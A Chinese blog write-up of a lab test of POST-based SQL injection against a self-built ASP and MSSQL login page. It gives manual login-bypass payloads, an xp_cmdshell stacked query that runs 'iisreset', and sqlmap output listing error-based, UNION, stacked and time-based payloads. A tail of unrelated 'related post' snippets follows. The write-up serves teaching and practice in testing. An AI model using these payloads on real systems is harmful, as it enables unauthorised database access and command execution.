一次簡單的POST注入測試
作者:Beginne([email protected]) & Dis9Team
在論壇看到了炊少的 記錄 Mssql注入點構造 一文 ,裡面介紹了構造MSSQL + ASP 的GET注入和POST注入的兩種方式,今天沒事幹,所以玩了一下子,把記錄貼了出來
關於構造自己看上面的原文吧,首先說這個注入是一定存在的
抓包分析
觀察提交頁面原始碼,看看是什麼方式提交
- <formname="frmLogin"action="login.asp"method="post">
- Username: <inputtype="text"name="userName">
- Password: <inputtype="text"name="password">
- <inputtype="submit">
- </form>
很明顯是post方式,我們得抓到提交的POST資料,用到了firefox的外掛,如下圖:
手工檢測有了資料包就好搞了,下面我們手工檢測一下
繼續提交注入語句:
手工檢測
有了資料包就好搞了,下面我們手工檢測一下
繼續提交注入語句:
---------------------------------
帳號:' having 1=1 ---
密碼任意
---------------------------------
返回:Logged In
提交注入語句:
---------------------------------
帳號:' having 1=2 ---
密碼任意
---------------------------------
返回
Bad Credentials
說明存在注入
我們提交:
帳號
'; exec master..xp_cmdshell 'iisreset'; --
密碼任意
返回:
Microsoft OLE DB Provider for SQL Server 錯誤 '80004005'
[DBNETLIB][ConnectionOpen (Connect()).]SQL Server 不存在或拒絕訪問。
/login.asp,行 14
其實是執行
- select userName from users where userName=''; exec master..xp_cmdshell 'iisreset'; --' and userPass=''
自動化注入
下面我們直接用sqlmap進行注入
- [email protected]:~# sqlmap -u "http://5.5.5.134/login.asp" --data "userName=123&password=123"
- sqlmap/1.0-dev (r4911) - automatic SQL injection and database takeover tool
- http://www.sqlmap.org
- [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 21:13:27
- [21:13:27] [INFO] using '/pen/sqlmap-dev/output/5.5.5.134/session' as session file
- [21:13:27] [INFO] resuming back-end DBMS 'microsoft sql server 2005' from session file
- [21:13:27] [INFO] testing connection to the target url
- [21:13:27] [INFO] heuristics detected web page charset 'ascii'
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: POST
- Parameter: password
- Type: error-based
- Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
- Payload: userName=admin&password=admin' AND 8376=CONVERT(INT,(CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+(SELECT (CASE WHEN (8376=8376) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58))) AND 'YvOd'='YvOd
- Type: UNION query
- Title: Generic UNION query (NULL) - 1 column
- Payload: userName=admin&password=-1537' UNION SELECT CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+CHAR(117)+CHAR(84)+CHAR(86)+CHAR(119)+CHAR(105)+CHAR(109)+CHAR(100)+CHAR(101)+CHAR(122)+CHAR(114)+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58)-- AND 'WzKD'='WzKD
- Type: stacked queries
- Title: Microsoft SQL Server/Sybase stacked queries
- Payload: userName=admin&password=admin'; WAITFOR DELAY '0:0:5';-- AND 'LmZG'='LmZG
- Type: AND/OR time-based blind
- Title: Microsoft SQL Server/Sybase time-based blind
- Payload: userName=admin&password=admin' WAITFOR DELAY '0:0:5'-- AND 'ugPK'='ugPK
- Place: POST
- Parameter: userName
- Type: error-based
- Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
- Payload: userName=admin' AND 1780=CONVERT(INT,(CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+(SELECT (CASE WHEN (1780=1780) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58))) AND 'tmdk'='tmdk&password=admin
- Type: UNION query
- Title: Generic UNION query (NULL) - 1 column
- Payload: userName=-1984' UNION SELECT CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+CHAR(107)+CHAR(121)+CHAR(122)+CHAR(100)+CHAR(68)+CHAR(71)+CHAR(84)+CHAR(87)+CHAR(98)+CHAR(105)+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58)-- AND 'CTkR'='CTkR&password=admin
- Type: stacked queries
- Title: Microsoft SQL Server/Sybase stacked queries
- Payload: userName=admin'; WAITFOR DELAY '0:0:5';-- AND 'Nbcb'='Nbcb&password=admin
- Type: AND/OR time-based blind
- Title: Microsoft SQL Server/Sybase time-based blind
- Payload: userName=admin' WAITFOR DELAY '0:0:5'-- AND 'EBhZ'='EBhZ&password=admin
- ---
- there were multiple injection points, please select the one to use for following injections:
- [0] place: POST, parameter: userName, type: Single quoted string (default)
- [1] place: POST, parameter: password, type: Single quoted string
- [q] Quit
- >
這裡提示選擇用username 和PASSWORD表單提交注入語句 隨便都性
我選擇0,用username提交注入語句 得到的結果:
- > 0
- [21:14:33] [INFO] the back-end DBMS is Microsoft SQL Server
- web server operating system: Windows XP
- web application technology: ASP, Microsoft IIS 5.1
- back-end DBMS: Microsoft SQL Server 2005
- [21:14:33] [INFO] Fetched data logged to text files under '/pen/sqlmap-dev/output/5.5.5.134'
- [*] shutting down at 21:14:33
目標資料庫版本出來了
相關推薦
JMeter一次簡單的介面測試
本次介面測試:根據ws查詢所有商品的具體的資訊.檢查商品是否返回成功. 1. 準備測試資料 查詢資料庫中產品表已上架商品的編號 select ID from ent_product where is_up=1 and state='0
一次簡單的POST注入測試
作者:Beginne([email protected]) & Dis9Team 在論壇看到了炊少的 記錄 Mssql注入點構造 一文 ,裡面介紹了構造MSSQL + ASP 的GET注入和POST注入的兩種方式,今天沒事幹,所以玩了一下子,把記錄貼了
記一次簡單的SQL注入
參考:http://103.238.227.13:10083/ bugku 可以看到編碼是gb2312 測試注入點 id=1和id=1‘ 都沒錯 應該是寬位元組注入,在試試 id=%df’ 報錯 接著來 輸入欄位id=%df’ union se
一次簡單的SQL手工注入
1. 首先要了解SQL注入的原理: SQL Injection:就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令。 具體來說,它是利用現有應用程式,將(惡意的)SQL命令注入到後臺資料庫引擎執行的能力,它可以通過在W
一次簡單的xss漏洞分析
一個 自己 png 基本上 轉義 分享 對話框 class mage 起因,經過掃描,發現了一個反射型xss的漏洞: 那麽,我想,既然存在xss漏洞。如果沒有防火墻肯定是直接就利用了,直接插入<img src=x onerror=alert(0)>: 可以看
簡單的記錄一次簡單的優化
原因 循環 返回 嘗試 場景 業務場景 pre 這才 查看 #大致的業務場景 從一個報警表中查詢數據,報警表中有很多其他表的外鍵,比如報警的設備信息信息,報警的組織信息,報警的原件信息等等,也就是說查詢報警信息的時候可以查出來很多相關的信息,需求是參數傳一個組織id,要求查
記一次接口壓力測試與性能調優
數據 java線程 color 可能 stack sta 服務 調整 標記 〇、經驗總結 1.如果總的CPU占用率偏高,且基本都被業務線程占用時,CPU占用率過高的原因跟JVM參數大小沒有直接關系,而跟具體的業務邏輯有關。2.當設置JVM堆內存偏小時,GC頻繁會導致業務線程
記一次Spring Cloud壓力測試
prope erro 整體 not 能夠 nbsp 隔離 緩存 大量 前言 公司打算舉辦一場活動,現場參與活動人數比較多。針對於可能訪問比較密集的接口進行壓力測試。使用jmeter進行測試,請求並發稍微多些,系統就會掛起。 針對壓力測試出現的問題,因為並發
python學習:一次簡單的購物車程序實例
isdigit python學習 python form compute 啟動 index computer nbsp 需求: 1、啟動程序後,讓用戶輸入余額,然後打印商品列表 2、允許用戶根據商品編號購買商品 3、用戶選擇商品後,檢查余額是否足夠,足夠加入購物車直接扣款,
zabbix記一次簡單的部署包方式安裝一次過
報錯 article 上海 使用 shang http 配置文件 火墻 安裝mysql zabbix記一次簡單的部署包方式安裝一次過 記一次部署包方式安裝一次過 環境centos7 zabbix 3.2.11 準備工作 關閉防火墻 systemctl stop fire
記一次簡單的破解程式(逆向)
已投稿合天 載入以後然後隨便輸入一個密碼然後在程式中搜索報錯資訊。 例如如下搜尋的: 然後雙擊進入。 然後發現JE將其修改為JEN(JE是==,而JEN是!=,如此便打破了原有的邏輯) 右鍵編輯->二進位制編輯 將74改為75(這裡所說的74、75就是JE
一次簡單的逆向
crackme (2018-02-26 01:13:13) 轉載▼ 隨便輸個key 錯誤 -----------------------------
template,泛型實現閹割版的優先佇列(一次簡單的嘗試)
水完棧和佇列之後,感覺常用的優先佇列也不錯,內部的排序是堆排序,感覺也不是很難,就直接寫上了,但是實現的時候出現了一些問題,幸好有學長在旁邊,幫助我解決了問題,在此感謝LYG學長; 對於排序,仍然自定義型別,然後對於優先順序,進行過載,寫完這個之後感覺對泛型的運用瞭解了一些,對堆的感覺也更強了點
記一次簡單的日誌分析
題目檔案:https://files.cnblogs.com/files/nul1/access.log.tar 直接搜尋flag發現是一題關於二分法注入。 頁面為200的位元組大小為1765,所以可以通過讀取每行判斷是否有1765以及有沒有flag的關鍵字樣,進而提取值。 指令碼如
記一次簡單爬蟲(豆瓣/dytt)
磕磕絆絆學python一個月,這次到正則表示式終於能寫點有趣的東西,在此作個記錄: ————————————————————————————————————————————————— 1.爬取豆瓣電影榜前250名單 執行環境: pycha
滲透測試的8個步驟 展現一次完整的滲透測試過程及思路
滲透測試這個事情不是隨便拿個工具就可以做了, 要了解業務還需要給出解決方案 。之前安全加介紹了金融行業 實戰微信銀行滲透測試, 運營商 滲透測試實戰 ,今天讓我們來說說 滲透測試&n
記一次簡單的程式碼審計
這段時間在想著做個高校的會員管理系統,所以在chrome上裝了個掘金外掛,今天發現日推推了個類似的PHP寫的小程式 本著能省就省,有自行車還造什麼輪子的原則 於是乎 git clone https://github.com/chaodada/member.git 經過簡單的部署後算是能打開了
記一次Grpc介面壓力測試&效能調優
〇、經驗總結: 如果在壓測過程中,壓力始終上不去,可以考慮是施壓機器併發上不去,或者被壓機器請求處理不過來。 施壓上不去或者被壓機器請求處理不過來,是因為機器CPU瓶頸?記憶體瓶頸?埠數量瓶頸?逐步排查定位。 類似於Grpc這類需要建立rpc連線的請求,可擴充套
從瀏覽器環境到JavaScript執行流程的一次簡單梳理
參考文章 www.ruanyifeng.com/blog/2014/1… www.zhihu.com/question/64… www.alloyteam.com/2016/05/jav… nodejs.org/zh-cn/docs/… juejin.im/post/59e85e… juejin.
一次簡單實現登錄多系統的需求小程序
周報 crm ctdb title dbi 技術 don 權限 性問題 【環境介紹】 系統環境:Linux + shell 【背景描述】 需求:由於數據庫維護較多同時涉及較多的系統類型,對於不熟悉系統的同事來說,及時登錄一些數據庫顯然是需要時間,登錄雖然簡單,先查